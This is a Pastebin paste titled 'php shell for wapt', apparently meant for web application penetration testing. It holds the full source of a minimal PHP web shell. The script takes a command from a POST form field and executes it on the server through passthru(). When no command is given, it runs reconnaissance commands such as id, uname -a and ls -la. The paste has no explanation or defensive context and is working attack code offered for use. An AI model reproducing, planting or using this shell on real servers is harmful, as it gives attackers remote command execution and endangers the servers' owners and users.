Advertisement
alice_killer

php shell for wapt

Apr 27th, 2023
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. <?php
  2. echo "
  3. <html>
  4. <head>
  5. <title>SHELL</title>
  6. </head>
  7. <body>";
  8. echo "<form method=post>";
  9. echo "<input type=text name=cmd size=100>";
  10. echo "</form>";
  11. echo "<pre>";
  12. if ((!$_POST['cmd']) || ($_POST['cmd']=="")) {
  13. $_POST['cmd']="id;pwd;uname -a;ls -la";
  14. }
  15. echo "".passthru($_POST['cmd'])."</pre>
  16. </body>
  17. </html>";
  18. ?>
  19.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement